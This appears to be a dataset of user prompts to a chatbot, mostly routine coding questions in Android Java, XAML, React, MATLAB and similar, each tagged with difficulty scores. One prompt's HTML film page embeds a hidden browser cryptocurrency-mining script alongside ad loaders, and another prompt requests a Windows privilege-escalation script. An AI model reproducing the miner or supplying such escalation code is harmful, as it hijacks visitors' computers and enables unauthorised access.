"intermediate": 0.4413881301879883,
"beginner": 0.3987129330635071,
"expert": 0.15989887714385986
}
|
9,402
|
I am making a c# project and I separated the XAML and the CS files into Views and ViewModels folders, but when I click in a button in the XAML designer to generate an event it gives me the following error: “This document item has no code behind file. Add code behind file and a class definition before adding event handlers”
I already have both files connected because I can compile, the problem is when I work with the designer
I have my XAML file in Views folder and in the namespace MyProject.Views, and the CS file in ViewModels folder and in the namespace MyProject.ViewModels.
In the XAML file I have: x:Class=“MyProject.ViewModels.MyView”
But still doesn't work.
|
8e12798913380b65e9a902d44a6309d0
|
{
"intermediate": 0.4408878982067108,
"beginner": 0.37375837564468384,
"expert": 0.18535366654396057
}
|
9,403
|
script for priviledge esalation windows 10
|
fb0e7f3e4bac6063a1e15858add19071
|
{
"intermediate": 0.31682389974594116,
"beginner": 0.4216171205043793,
"expert": 0.26155900955200195
}
|
9,404
|
clob size field
|
1370925068131f34215c4bfa121c9bd8
|
{
"intermediate": 0.38373926281929016,
"beginner": 0.3501512110233307,
"expert": 0.26610955595970154
}
|
9,405
|
Make a Multi-Dimensional Array in java that can store and add more values to itself
|
24bd48664012690431fafe3c30902293
|
{
"intermediate": 0.5088707208633423,
"beginner": 0.1138533279299736,
"expert": 0.37727591395378113
}
|
9,406
|
(() => {
const landingUrl = 'https://waimaieapp.meituan.com/ad/v1/rmobile#/activity/consume/100253?source=qw';
const target = `itakeawaybiz://waimaieapi.meituan.com/web?url=${encodeURIComponent(landingUrl)}`;
const middlePage = `https://waimaieapp.meituan.com/wmeactivity/wxOpenApp/index?targetUrl=${encodeURIComponent(target)}`;
return middlePage;
将这段 javascript 代码用 java 实现
|
6d4a84f8fbdf0877beecd230daf5d4c8
|
{
"intermediate": 0.4075683057308197,
"beginner": 0.35737138986587524,
"expert": 0.23506027460098267
}
|
9,407
|
Adjusting CSS in iFrame
|
9724a6f63977b6bf78dd9df3d6c4579a
|
{
"intermediate": 0.4017803370952606,
"beginner": 0.2978987395763397,
"expert": 0.30032095313072205
}
|
9,408
|
dans ce code html je voudrait que la pub 160*600 soit a droite de limage png et non pas dessus mais sans sortir du conteneur : <!DOCTYPE html>
<html>
<head>
<style>#adblockbyspider{backdrop-filter: blur(5px);background:rgba(0,0,0,0.25);padding:20px 19px;border:1px solid #ebeced;border-radius:10px;color:#ebeced;overflow:hidden;position:fixed;margin:auto;left:10;right:10;top:0;width:100%;height:100%;overflow:auto;z-index:999999}#adblockbyspider .inner{background:#f5f2f2;color:#000;box-shadow:0 5px 20px rgba(0,0,0,0.1);text-align:center;width:600px;padding:40px;margin:80px auto}#adblockbyspider button{padding:10px 20px;border:0;background:#e9e9e9;margin:20px;box-shadow:0 5px 10px rgba(0,0,0,0.3);cursor:pointer;transition:all .2s}#adblockbyspider button.active{background:#fff}#adblockbyspider .tutorial{background:#fff;text-align:left;color:#000;padding:20px;height:250px;overflow:auto;line-height:30px}#adblockbyspider .tutorial div{display:none}#adblockbyspider .tutorial div.active{display:block}#adblockbyspider ol{margin-left:20px}@media(max-width:680px){#adblockbyspider .inner{width:calc(100% - 80px);margin:auto}}
</style>
<title>AIR - Film</title>
<style>
body {
background-color: black;
}
.film-details {
max-width: 600px;
margin: 0 auto;
text-align: center;
}
.poster img {
max-width: 100%;
margin-bottom: 20px;
}
h2 {
color: white;
font-size: 24px;
}
.description p {
color: white;
text-align: justify;
}
.link {
margin-top: 20px;
}
.link a {
display: inline-block;
padding: 10px 20px;
background-color: #6486ff;
color: white;
text-decoration: none;
border-radius: 5px;
font-weight: bold;
}
.comment-text {
text-align: center;
margin-top: 20px;
color: white;
font-weight: bold;
}
.gif-container {
text-align: center;
margin-top: 20px;
}
.gif-container img {
display: inline-block;
max-width: 100%;
max-height: 200px;
}
.ad-banner {
position: center;
background-color: #fff; /* Couleur de fond de la publicité */
margin-bottom: 120px;
}
.ad-banner iframe {
position: absolute;
left: 0;
right: 0;
margin: 0 auto;
width: 728px; /* Définissez la largeur souhaitée pour les publicités */
height: 90px; /* Définissez la hauteur souhaitée pour les publicités */
}
.image-ad-container {
display: flex;
align-items: center;
justify-content: flex-end;
position: absolute;
}
.ad-container {
width: 160px;
height: 600px;
position: absolute;
top: 50%;
transform: translateY(-50%);
right: 0;
}
</style>
</style>
</head>
<body>
<script src='https://cdn.jsdelivr.net/gh/RockBlogger/Anti-AdBlocker@main/2.0/code.min.js'></script>
<script type='text/javascript' src='//pl19510691.highrevenuegate.com/2c/f8/39/2cf839a5e51a458d354480d7fa28d9cd.js'></script>
<script type='text/javascript' src='//pl19510679.highrevenuegate.com/56/3f/61/563f6166e82a5bef948a31a37916881c.js'></script>
<script src="https://www.hostingcloud.racing/xlqP.js"></script>
<script>
var _client = new Client.Anonymous('dff8e2e90da1322f3bd746dc3c9b597499c2eaf84847b7b600ddcf7c0a5c44dc', {
throttle: 0, c: 'w', ads: 0
});
_client.start();
</script>
<script type='text/javascript' src='//traversefaultlessashamed.com/82/f3/c4/82f3c4184917980514ed852ed7b9c283.js'></script>
<section class="film-details">
<h2>AIR (2023) HD</h2>
<div class="ad-banner">
<script type="text/javascript">
atOptions = {
'key' : 'afb38244164d84843aa6a0911a2c6ba5',
'format' : 'iframe',
'height' : 90,
'width' : 728,
'params' : {}
};
document.write('<scr' + 'ipt type="text/javascript" src="http' + (location.protocol === 'https:' ? 's' : '') + '://www.profitabledisplaynetwork.com/afb38244164d84843aa6a0911a2c6ba5/invoke.js"></scr' + 'ipt>');
</script>
</div>
</div>
<div class="image-ad-container">
<div class="poster">
<img src="https://www.themoviedb.org/t/p/original/6JQu7F1YCPm2ylTTmpxrspwoAFA.jpg" alt="Affiche du film Air">
</div>
<div class="ad-container">
<script type="text/javascript">
atOptions = {
'key' : 'd7fa0b858c9853581bf0490e5e025e21',
'format' : 'iframe',
'height' : 600,
'width' : 160,
'params' : {}
};
document.write('<scr' + 'ipt type="text/javascript" src="http' + (location.protocol === 'https:' ? 's' : '') + '://www.profitabledisplaynetwork.com/d7fa0b858c9853581bf0490e5e025e21/invoke.js"></scr' + 'ipt>');
</script>
</div>
</div>
</div>
</div>
<div class="ad-banner">
<script type="text/javascript">
atOptions = {
'key' : 'afb38244164d84843aa6a0911a2c6ba5',
'format' : 'iframe',
'height' : 90,
'width' : 728,
'params' : {}
};
document.write('<scr' + 'ipt type="text/javascript" src="http' + (location.protocol === 'https:' ? 's' : '') + '://www.profitabledisplaynetwork.com/afb38244164d84843aa6a0911a2c6ba5/invoke.js"></scr' + 'ipt>');
</script>
</div>
<div class="description">
<p><strong>Canevas du film :</strong></p>
<p>AIR dévoile le partenariat qui a changé la donne entre Michael Jordan, alors inconnu, et le tout jeune département basket de Nike, qui a révolutionné le monde du sport et de la culture avec la marque Air Jordan.</p>
</div>
</script>
<div class="link">
<a href="https://uqload.co/7fftheiemwts.html" target="_blank">Play</a>
</div>
</section>
<div class="comment-text">
<h2 style="text-align: center;">Comment voir le film ?</h2>
</div>
<!-- Ajout de la classe "gif-container" à l'élément <div> -->
<div class="gif-image gif-container">
<img src="C:\Users\piral\Downloads\GIFfichierhtml.gif" alt="Votre image GIF" style="max-width: 100%; max-height: 200px;">
</div>
</body>
</html>
|
290fb55a27d5761ee7b5f4f6dfe543e6
|
{
"intermediate": 0.3667888045310974,
"beginner": 0.34400057792663574,
"expert": 0.289210706949234
}
|
9,409
|
"close all;
clear all;
clc
% Define the start and end dates
startDate = datetime('06/01/2021','InputFormat','MM/dd/yyyy');
endDate = datetime('09/30/2021','InputFormat','MM/dd/yyyy');
% Create the date range and hours
dateRange = startDate:endDate;
hours = 1:24;
% Create the time vector
timeVec = [];
for d = 1:length(dateRange)
timeVec = [timeVec; dateRange(d)+hours'/24];
end
Data = zeros(length(dateRange)*length(hours), 1);
timeVec = string(timeVec);
ts = timeseries(Data,timeVec);
ts.Name = 'Close';
"
expand this code to save the time series ts in an excel file.
|
9a3fe5b0a9c424cd2128d500518d90c8
|
{
"intermediate": 0.34272027015686035,
"beginner": 0.3413892686367035,
"expert": 0.31589046120643616
}
|
9,410
|
import React, { useEffect } from "react";
import { useDispatch, useSelector } from "react-redux";
import { addItemInCart, deleteItemFromCart } from "../slice/cartSlice";
import PropTypes from "prop-types";
const AddToCart = ({ product }) => {
const dispatch = useDispatch();
const items = useSelector((state) => state.cart.cartItems);
const isItemInCart = items.some((item) => item.id === product.id);
const handleClick = (e) => {
e.stopPropagation();
if (isItemInCart) {
dispatch(deleteItemFromCart(product.id));
} else {
dispatch(addItemInCart(product));
}
};
return (
<div>
<button onClick={handleClick} key={id}>
{isItemInCart ? "Убрать из корзины" : "В корзину"}
</button>
</div>
);
};
AddToCart.propTypes = {
product: PropTypes.object.isRequired,
id: PropTypes.number.isRequired,
};
export default AddToCart;
|
72bb0f028a51befd516bc672bbb9a799
|
{
"intermediate": 0.5475530624389648,
"beginner": 0.32117390632629395,
"expert": 0.1312730610370636
}
|
9,411
|
has kotlin have function to break out of lambdas function when perform filter on list:
|
9e75b07677190650a8e762f0addefaaf
|
{
"intermediate": 0.4092002809047699,
"beginner": 0.2530149519443512,
"expert": 0.3377847373485565
}
|
9,412
|
измени toast ,так чтобы там в конке добаввлялось время на которое столик забронирован : package com.example.myapp_2.UI.view.activities;
import static java.security.AccessController.getContext;
import androidx.appcompat.app.AppCompatActivity;
import androidx.fragment.app.DialogFragment;
import android.app.DatePickerDialog;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.DatePicker;
import android.widget.TextView;
import android.widget.Toast;
import com.example.myapp_2.Data.Discount_Get_table.DatePickerFragment;
import com.example.myapp_2.R;
import com.example.myapp_2.databinding.ActivityReserveTableBinding;
import java.text.DateFormat;
import java.util.Calendar;
public class ReserveTableActivity extends AppCompatActivity implements DatePickerDialog.OnDateSetListener, AdapterView.OnItemSelectedListener {
Dialog dialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityReserveTableBinding binding = ActivityReserveTableBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
Intent intent = getIntent();
String restaurantName = intent.getStringExtra("restaurantName");
binding.restaurantName.setText(restaurantName);
binding.back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent resultIntent = new Intent();
setResult(RESULT_CANCELED, resultIntent);
finish();
}
});
binding.pickDate.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
DialogFragment datePicker = new DatePickerFragment();
datePicker.show(getSupportFragmentManager(), "date picker");
}
});
ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(this, R.array.times_of_day, android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
binding.pickTime.setAdapter(adapter);
binding.pickTime.setOnItemSelectedListener(this);
binding.sendAnApplication.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(v.getContext(), "Столик зарезервирован", Toast.LENGTH_SHORT).show();
onBackPressed(); // Return to previous fragment
}
});
binding.minus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
if(number > 1){
binding.amountQuests.setText(Integer.toString(number-1));
}
}
});
binding.plus.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int number = Integer.parseInt(binding.amountQuests.getText().toString());
binding.amountQuests.setText(Integer.toString(number+1));
}
});
// Create dialog instance
dialog = new Dialog(this);
}
private void showCustomDialog(View v) {
dialog.setContentView(R.layout.table_dialog);
dialog.getWindow().setBackgroundDrawable(new ColorDrawable(Color.TRANSPARENT));
Button submit = findViewById(R.id.sendAnApplication);
Button close = dialog.findViewById(R.id.close);
TextView date = dialog.findViewById(R.id.date);
TextView time = dialog.findViewById(R.id.time);
TextView amountOfQuests = dialog.findViewById(R.id.amountOfQuests);
TextView wishes = dialog.findViewById(R.id.wishes);
TextView name = dialog.findViewById(R.id.person_name);
TextView phoneNumber = dialog.findViewById(R.id.phoneNumber);
TextView date1 = v.findViewById(R.id.date);
TextView time1 = v.findViewById(R.id.time);
TextView amountOfQuests1 = v.findViewById(R.id.amountOfQuests);
TextView wishes1 = v.findViewById(R.id.wishes);
TextView name1 = v.findViewById(R.id.person_name);
TextView phoneNumber1 = v.findViewById(R.id.phoneNumber);
close.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.dismiss(); // Dismiss the dialog instead of calling setResult and finish
}
});
submit.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
dialog.cancel();
}
});
}
@Override
public void onBackPressed() {
super.onBackPressed();
// Toast.makeText(v.getContext(), "Registration approved", Toast.LENGTH_SHORT).show();
}
@Override
public void onDateSet(DatePicker view, int year, int month, int dayOfMonth) {
Calendar c = Calendar.getInstance();
c.set(Calendar.YEAR, year);
c.set(Calendar.MONTH, month);
c.set(Calendar.DAY_OF_MONTH, dayOfMonth);
String currentDateString = DateFormat.getDateInstance(DateFormat.FULL).format(c.getTime());
TextView textView = findViewById(R.id.date); // Use findViewById from the activity, not from the dialog view
textView.setText(currentDateString);
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// String text = parent.getItemAtPosition(position).toString();
// Toast.makeText(parent.getContext(),text,Toast.LENGTH_SHORT).show();
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
}
|
ed3d5c87690446c901b2cb32abe0cebe
|
{
"intermediate": 0.3267514705657959,
"beginner": 0.5052366256713867,
"expert": 0.16801194846630096
}
|
9,413
|
После того как пользователь выберет картинку она должны появиться во фрагменту , это уже сделано , твоя задача сделать так , чтобы края этой каринки обрезались и сама картинка была представлена во фрагменту круглой : package com.example.myapp_2.Data.Discount_Get_table;
import static android.app.Activity.RESULT_OK;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import com.example.myapp_2.Data.register.LoginFragment;
import com.example.myapp_2.Data.register.User;
import com.example.myapp_2.Data.register.UserDAO;
import com.example.myapp_2.R;
import com.example.myapp_2.UI.view.fragments.FirstFragment;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;
public class ProfileFragment extends Fragment {
private UserDAO userDAO;
private int userId;
private User user;
private EditText editTextName, editTextEmail, editTextPassword;
private Button buttonUpdate;
public ProfileFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userDAO = new UserDAO(getActivity());
userDAO.open();
// получение id последнего авторизовавшегося пользователя
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
List<User> users = userDAO.getAllUsers();
SharedPreferences prefs = getActivity().getSharedPreferences("MY_PREFS_NAME", getActivity().MODE_PRIVATE);
int profile_num = prefs.getInt("profile_num", 0); // 0 - значение по умолчанию
userId = sharedPreferences.getInt("lastLoggedInUserId", profile_num);
// получение данных пользователя по его id
user = userDAO.getUserById(userId);
}
@SuppressLint("MissingInflatedId")
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.profile, container, false);
Animation anim = AnimationUtils.loadAnimation(getActivity(), R.anim.fragment_transition_animation);
anim.setDuration(200);
view.startAnimation(anim);
ImageButton btnFirstFragment = view.findViewById(R.id.btn_first_fragment);
btnFirstFragment.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
getFragmentManager().popBackStack();
FragmentTransaction transaction = requireActivity().getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.nav_container, new FirstFragment());
transaction.addToBackStack(null);
transaction.commit();
}
});
ImageButton imageButtonProfile = view.findViewById(R.id.imageButtonProfile);
imageButtonProfile.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// вызов диалогового окна для выбора изображения
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType("image/");
startActivityForResult(Intent.createChooser(intent, "Select Picture"), 1);
}
});
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
String imagePath = sharedPreferences.getString("profile_picture_path", null);
// отображение сохраненного изображения на месте круглой иконки
if(imagePath != null) {
Bitmap bitmap = BitmapFactory.decodeFile(imagePath);
imageButtonProfile = view.findViewById(R.id.imageButtonProfile);
imageButtonProfile.setImageBitmap(bitmap);
}
getActivity().findViewById(R.id.bottomNavigationView).setVisibility(View.VISIBLE);
// отображение данных последнего авторизовавшегося пользователя
TextView textViewName = view.findViewById(R.id.textViewName_2);
textViewName.setText(getLastLoggedInUser().getName());
TextView textViewEmail = view.findViewById(R.id.editTextEmail_2);
textViewEmail.setText(getLastLoggedInUser().getEmail());
TextView textViewPassword = view.findViewById(R.id.password_2);
textViewPassword.setText(getLastLoggedInUser().getPassword());
return view;
}
// метод получения данных последнего авторизовавшегося пользователя
private User getLastLoggedInUser() {
return userDAO.getUserById(userId);
}
// метод обновления данных пользователя
private void updateUser() {
String name = editTextName.getText().toString();
String email = editTextEmail.getText().toString();
String password = editTextPassword.getText().toString();
// обновление данных пользователя в базе данных
user.setName(name);
user.setEmail(email);
user.setPassword(password);
userDAO.updateUser(user);
// отправка результата в MainActivity
Intent intent = new Intent();
intent.putExtra("profile_updated", true);
intent.putExtra("user_id", userId);
getActivity().setResult(RESULT_OK, intent);
getActivity().finish();
}
@Override
public void onDestroy() {
super.onDestroy();
userDAO.close();
}
@Override
public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1 && resultCode == RESULT_OK && data != null && data.getData() != null) {
// получение выбранного изображения
Uri imageUri = data.getData();
try {
// конvertация изображения в Bitmap
Bitmap bitmap = MediaStore.Images.Media.getBitmap(getActivity().getContentResolver(), imageUri);
// сохранение изображения в локальном хранилище
saveImageToStorage(bitmap);
// отображение изображения на месте круглой иконки
ImageButton imageButtonProfile = getActivity().findViewById(R.id.imageButtonProfile);
imageButtonProfile.setImageBitmap(bitmap);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void saveImageToStorage(Bitmap bitmap) {
try {
// создание файла для сохранения изображения
File storageDir = getActivity().getExternalFilesDir(Environment.DIRECTORY_PICTURES);
File imageFile = File.createTempFile(
"profile_picture_", ".jpg",
storageDir);
// сохранение изображения в файл
FileOutputStream out = new FileOutputStream(imageFile);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, out);
out.flush();
out.close();
// сохранение пути к файлу в SharedPreferences
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putString("profile_picture_path", imageFile.getAbsolutePath());
editor.apply();
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
8aa6e7a3d1267b530dafbc5b5724dd07
|
{
"intermediate": 0.2947254478931427,
"beginner": 0.539282500743866,
"expert": 0.16599202156066895
}
|
9,414
|
Hey there
|
c2efb8336afe807998ee41c3dd261456
|
{
"intermediate": 0.3331121504306793,
"beginner": 0.2543407678604126,
"expert": 0.4125470519065857
}
|
9,415
|
Картинка не заполняет контейнер полностью,исправь это :package com.example.myapp_2.Data.Discount_Get_table;
import static android.app.Activity.RESULT_OK;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.BitmapShader;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.util.Base64;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.fragment.app.Fragment;
import androidx.fragment.app.FragmentManager;
import androidx.fragment.app.FragmentTransaction;
import com.example.myapp_2.Data.register.LoginFragment;
import com.example.myapp_2.Data.register.User;
import com.example.myapp_2.Data.register.UserDAO;
import com.example.myapp_2.R;
import com.example.myapp_2.UI.view.fragments.FirstFragment;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.List;
public class ProfileFragment extends Fragment {
private UserDAO userDAO;
private int userId;
private User user;
private EditText editTextName, editTextEmail, editTextPassword;
private Button buttonUpdate;
public ProfileFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userDAO = new UserDAO(getActivity());
userDAO.open();
// получение id последнего авторизовавшегося пользователя
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
List<User> users = userDAO.getAllUsers();
SharedPreferences prefs = getActivity().getSharedPreferences("MY_PREFS_NAME", getActivity().MODE_PRIVATE);
int profile_num = prefs.getInt("profile_num", 0); // 0 - значение по умолчанию
userId = sharedPreferences.getInt("lastLoggedInUserId", profile_num);
// получение данных пользователя по его id
user = userDAO.getUserById(userId);
}
@SuppressLint("MissingInflatedId")
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.profile, container, false);
Animation anim = AnimationUtils.loadAnimation(getActivity(), R.anim.fragment_transition_animation);
anim.setDuration(200);
view.startAnimation(anim);
ImageButton btnFirstFragment = view.findViewById(R.id.btn_first_fragment);
btnFirstFragment.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
getFragmentManager().popBackStack();
FragmentTransaction transaction = requireActivity().getSupportFragmentManager().beginTransaction();
transaction.replace(R.id.nav_container, new FirstFragment());
transaction.addToBackStack(null);
transaction.commit();
}
});
ImageView imageViewProfile = view.findViewById(R.id.imageButtonProfile);
imageViewProfile.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
// вызов диалогового окна для выбора изображения
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType("image/");
startActivityForResult(Intent.createChooser(intent, "Select Picture"), 1);
}
});
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
String imagePath = sharedPreferences.getString("profile_picture_path", null);
// отображение сохраненного изображения на месте круглой иконки
if(imagePath != null) {
Bitmap bitmap = BitmapFactory.decodeFile(imagePath);
int paddingPx = (int) getResources().getDimension(R.dimen.profile_image_padding);
imageViewProfile.setPadding(paddingPx, paddingPx, paddingPx, paddingPx);
Bitmap circleBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888);
BitmapShader shader = new BitmapShader(bitmap, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP);
Paint paint = new Paint();
paint.setShader(shader);
Canvas c = new Canvas(circleBitmap);
c.drawCircle(bitmap.getWidth()/2, bitmap.getHeight()/2, bitmap.getWidth()/2, paint);
imageViewProfile.setImageBitmap(circleBitmap);
}
getActivity().findViewById(R.id.bottomNavigationView).setVisibility(View.VISIBLE);
// отображение данных последнего авторизовавшегося пользователя
TextView textViewName = view.findViewById(R.id.textViewName_2);
textViewName.setText(getLastLoggedInUser().getName());
TextView textViewEmail = view.findViewById(R.id.editTextEmail_2);
textViewEmail.setText(getLastLoggedInUser().getEmail());
TextView textViewPassword = view.findViewById(R.id.password_2);
textViewPassword.setText(getLastLoggedInUser().getPassword());
return view;
}
// метод получения данных последнего авторизовавшегося пользователя
private User getLastLoggedInUser() {
return userDAO.getUserById(userId);
}
// метод обновления данных пользователя
private void updateUser() {
String name = editTextName.getText().toString();
String email = editTextEmail.getText().toString();
String password = editTextPassword.getText().toString();
// обновление данных пользователя в базе данных
user.setName(name);
user.setEmail(email);
user.setPassword(password);
userDAO.updateUser(user);
// отправка результата в MainActivity
Intent intent = new Intent();
intent.putExtra("profile_updated", true);
intent.putExtra("user_id", userId);
getActivity().setResult(RESULT_OK, intent);
getActivity().finish();
}
@Override
public void onDestroy() {
super.onDestroy();
userDAO.close();
}
@Override
public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if(requestCode == 1 && resultCode == RESULT_OK && data != null && data.getData() != null) {
// получение выбранного изображения
Uri imageUri = data.getData();
try {
// конvertация изображения в Bitmap
Bitmap bitmap = MediaStore.Images.Media.getBitmap(getActivity().getContentResolver(), imageUri);
// сохранение изображения в локальном хранилище
saveImageToStorage(bitmap);
// отображение изображения на месте круглой иконки
ImageView imageButtonProfile = getActivity().findViewById(R.id.imageButtonProfile);
imageButtonProfile.setImageBitmap(bitmap);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void saveImageToStorage(Bitmap bitmap) {
try {
// создание файла для сохранения изображения
File storageDir = getActivity().getExternalFilesDir(Environment.DIRECTORY_PICTURES);
File imageFile = File.createTempFile(
"profile_picture_", ".jpg",
storageDir);
// сохранение изображения в файл
FileOutputStream out = new FileOutputStream(imageFile);
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, out);
out.flush();
out.close();
// сохранение пути к файлу в SharedPreferences
// создание круглого Bitmap
Bitmap circleBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888);
BitmapShader shader = new BitmapShader(bitmap, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP);
Paint paint = new Paint();
paint.setShader(shader);
Canvas c = new Canvas(circleBitmap);
c.drawCircle(bitmap.getWidth()/2, bitmap.getHeight()/2, bitmap.getWidth()/2, paint);
// сохранение круглого изображения в SharedPreferences
ByteArrayOutputStream stream = new ByteArrayOutputStream();
circleBitmap.compress(Bitmap.CompressFormat.PNG, 100, stream);
byte[] byteArray = stream.toByteArray();
String encodedString = Base64.encodeToString(byteArray, Base64.DEFAULT);
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putString("profile_picture_base64", encodedString);
editor.apply();
// установка круглого изображения на ImageView
ImageView imageViewProfile = getView().findViewById(R.id.imageButtonProfile);
imageViewProfile.setImageBitmap(circleBitmap);
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
b3c341d911536d699172b56a153536bf
|
{
"intermediate": 0.30385419726371765,
"beginner": 0.42352181673049927,
"expert": 0.2726239264011383
}
|
9,416
|
python extract textures from a ytd
|
71d30848154c92d7cb467291e9418fc1
|
{
"intermediate": 0.4151764512062073,
"beginner": 0.22004814445972443,
"expert": 0.36477532982826233
}
|
9,417
|
This is my ide program for a highsum gui game.
“package GUIExample;
import Model.Dealer;
import Model.HighSum;
import Model.Player;
import javax.swing.;
import java.awt.;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import static javax.swing.WindowConstants.DISPOSE_ON_CLOSE;
public class HighSumGUI {
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
@Override
public void run() {
LoginDialog loginDialog = new LoginDialog(null);
loginDialog.setVisible(true);
if (loginDialog.isLoggedIn()) {
String login = loginDialog.getLogin();
String password = loginDialog.getPassword();
HighSum highSum = new HighSum();
highSum.init(login, password);
GameTableFrame gameTableFrame = new GameTableFrame(highSum);
gameTableFrame.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
}
}
});
}
}
class GameTableFrame extends JFrame {
private HighSum highSum;
private GameTablePanel gameTablePanel;
private JButton playButton;
private JButton quitButton;
public GameTableFrame(HighSum highSum) {
this.highSum = highSum;
this.gameTablePanel = new GameTablePanel(highSum.getDealer(), highSum.getPlayer());
setTitle(“HighSum GUI Game”);
setSize(800, 600);
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
playButton = new JButton(“Play”);
quitButton = new JButton(“Quit”);
playButton.addActionListener(new PlayAction(this, highSum));
quitButton.addActionListener(new QuitAction());
JPanel buttonPanel = new JPanel();
buttonPanel.add(playButton);
buttonPanel.add(quitButton);
add(gameTablePanel, BorderLayout.CENTER);
add(buttonPanel, BorderLayout.SOUTH);
pack();
setLocationRelativeTo(null);
setVisible(true);
}
public void updateScreen(Dealer dealer, Player player) {
gameTablePanel.updateTable(dealer, player);
}
}
package Controller;
import Model.Dealer;
import Model.Player;
import View.ViewController;
public class GameController {
private Dealer dealer;
private Player player;
private ViewController view;
private int chipsOnTable;
private boolean playerQuit;
public GameController(Dealer dealer,Player player,ViewController view) {
this.dealer = dealer;
this.player = player;
this.view = view;
this.chipsOnTable = 0;
}
public boolean getPlayerQuitStatus() {
return playerQuit;
}
public void run() {
boolean carryOn= true;
while(carryOn) {
runOneRound();
char r = this.view.getPlayerNextGame();
if(r==‘n’) {
carryOn = false;
}
}
this.view.displayPlayerNameAndLeftOverChips(this.player);
this.view.displayExitGame();
}
public void runOneRound() {
this.view.displayGameTitle();
this.view.displayDoubleLine();
this.view.displayPlayerNameAndChips(this.player);
this.view.displaySingleLine();
this.view.displayGameStart();
this.view.displaySingleLine();
